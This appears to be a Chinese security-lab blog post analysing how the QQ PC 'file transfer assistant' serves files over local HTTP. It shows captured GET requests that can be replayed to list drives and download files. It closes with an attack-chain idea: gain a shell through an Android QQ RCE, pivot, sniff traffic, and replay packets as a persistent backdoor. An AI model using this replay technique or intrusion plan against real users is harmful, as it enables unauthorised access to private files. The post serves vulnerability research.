关于QQ 文件传输助手分析和利用思路
○ 配置
○ 分析
○ 小结
○ 实战拓展
○ 声明
配置
NO.1
条件:
QQ手机端和QQ PC端使用传输功能
在我的设备中的查看电脑,我们在申请授权后输入密码,通过认证后即可通过QQ手机端查看电脑端的文件
首先开启笔记本无线网卡中的个人热点的功能
使用手机连接热点WIFI:
连接后通过手机QQ申请链接电脑:
任意下载文件到手机,此时,流量会被我们拦截到:
分析
NO.2
首先我们注意到,本机有一个端口被开启了:
如图:
我们发现,QQ文件是通过HTTP协议,GET请求传输的:
传输模板分别如下:
/qqmpfile/?action=hello
/qqmpfile/?action=download&fileid=
/qqmpfile/?action=thumbnail&fileid=
/qqmpfile/?action=preparedownload&fileid=
我们尝试对其中拦截到的包进行重放:
GET /qqmpfile/?action=download&fileid=39d0612e7277dfbf942a813da30b440f HTTP/1.1
Accept: */*
Connection:Keep-Alive
random:YtnQPrN4y22qvQtY7f00kCxYO+pIquV4FFK7WgeQoTwEUYO0RlEK/NeCekKvnMqmX1TU46GI+
Ko=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.79.1:49152
Pragma: no-cache
GET /qqmpfile/?action=download&fileid=6840bcd4eefe235353dcda696dec917c HTTP/1.1
Accept: */*
Connection:Keep-Alive
random:clNgFtrFSqqC+WY3bE9rF93iFaNS//fvqi3K5wUOlo2qaIZfTJrdLLNBCmV2oVNfoF2EaEtNJ
Uk=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.79.1:49152
Pragma: no-cache
此时,我们后台划掉我们的QQ 手机端进程,再次重放所拦截到的数据包,发现依旧可以获取到信息。
我们再来注意到另外一个传输:
GET /qqmpfile/?action=fileList&offset=0&limit=40 HTTP/1.1
Accept: */*
Connection:Keep-Alive
random:+DxfW3r0dn5i+aVi7ptLtl6DfIXB9tZK
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.79.1:49152
Pragma: no-cache
下载到的文件内容如下:
{"currentcount":11,"items":[{"fileid":"14a021895430ebdab236174682a0c1bc","group":3,"index":0,"name":"Windows(C:)","time":"01-10 17:47","type":0},
{"fileid":"8b35a7c857d78f569c03f7f1634c39ea","group":3,"index":1,"name":"test(D:)","time":"01-10 17:47","type":0},
{"fileid":"81fa879d9eea55d9917b57ccf7ca4fa6","group":3,"index":2,"name":"研发(E:)","time":"01-10 17:47","type":0},
{"fileid":"2bc10d33d2b1f2c63595a683d05a5aa8","group":3,"index":3,"name":"标准化(F:)","time":"01-10 17:47","type":0},
{"fileid":"b69478c5dd50dd2fba3f8a0a48b1b116","group":1,"index":4,"name":"桌面","time":"01-01 08:00","type":0},
{"fileid":"dcc583bb406b6ff66766eab6db933334","group":1,"index":5,"name":"下载","time":"09-03 17:42","type":0},
{"fileid":"83c770df5ace98a15768fa22445b164e","group":1,"index":6,"name":"最近访问的位置","time":"12-25 21:22","type":0},
{"fileid":"a2986ae2537f0eb44ba3bff4747df88b","group":2,"index":7,"name":"图片","time":"12-25 21:22","type":0},
{"fileid":"172e4b48213c424147dfb3a675ac77b1","group":2,"index":8,"name":"文档","time":"12-25 21:22","type":0},
{"fileid":"5940c9a1a342ccbbfb0497a5828d01df","group":2,"index":9,"name":"视频","time":"12-25 21:22","type":0},
{"fileid":"b8bad2bba9478df1b612b4fcc4c62370","group":2,"index":10,"name":"音乐","time":"12-25 21:22","type":0}],"offset":0,"result":0,"totalcount":11}
我们发现,这正好对应了我们PC机器上的文件目录
其中
"fileid":"14a021895430ebdab236174682a0c1bc"
指的是我们PC端上面的文件目录 标识的MD5加密值
"fileid":"8b35a7c857d78f569c03f7f1634c39ea"
"fileid":"81fa879d9eea55d9917b57ccf7ca4fa6"
"fileid":"2bc10d33d2b1f2c63595a683d05a5aa8"
小结
NO.3
在后续的测试中,发现只要是PC和QQ端通过第一步的文件传输认证,均可通过重放包攻击获取到之前执行的所有操作
只要QQ PC端 进程存活,那么我们就可以一直重放信息,这是QQ传输文件的一个功能,但在我看来更像是一个“漏洞”。
实战拓展
NO.4
我们目前已知在上次那个行动的时候,QQ 安卓端存在 两个RCE (已修复)
我们捕获到的分别为 1 click 和 0 click
我们可以尝试使用,其中任意一个漏洞获取到目标对应手机安卓手机权限。
对此我想到了一种比较特殊的思路:
首先使用QQ 安卓RCE,拿到一个低权限的shell。
然后以安卓机器为跳板,尝试搜索内网信息,获取内网主机权限。
抓取目标网络中流量,筛选使用QQ文件助手功能的人,利用重放包攻击,重复下载目标所传输的关键信息。
可以一直检测流量信息,一直作为后门使用。
当然,这有一点牵强,我的想法有限,如果有更好的利用思路,各位师傅可以一起来思考如何把这个功能利用到极致。
其他,这个功能还能想到的就是类似Everything服务的方法,用来传输文件,尝试将PC客户机映射到公网上,不过也具有局限性。
声明
NO.5
免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号天虞实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!
本文作者:A
感谢A (๑•̀ㅂ•́)و✧
往期回顾
扫码关注我们
天虞实验室为赛宁网安旗下专业技术团队,重点攻关公司业务相关信息安全前沿技术。
原文始发于微信公众号(天虞实验室):关于QQ 文件传输助手分析和利用思路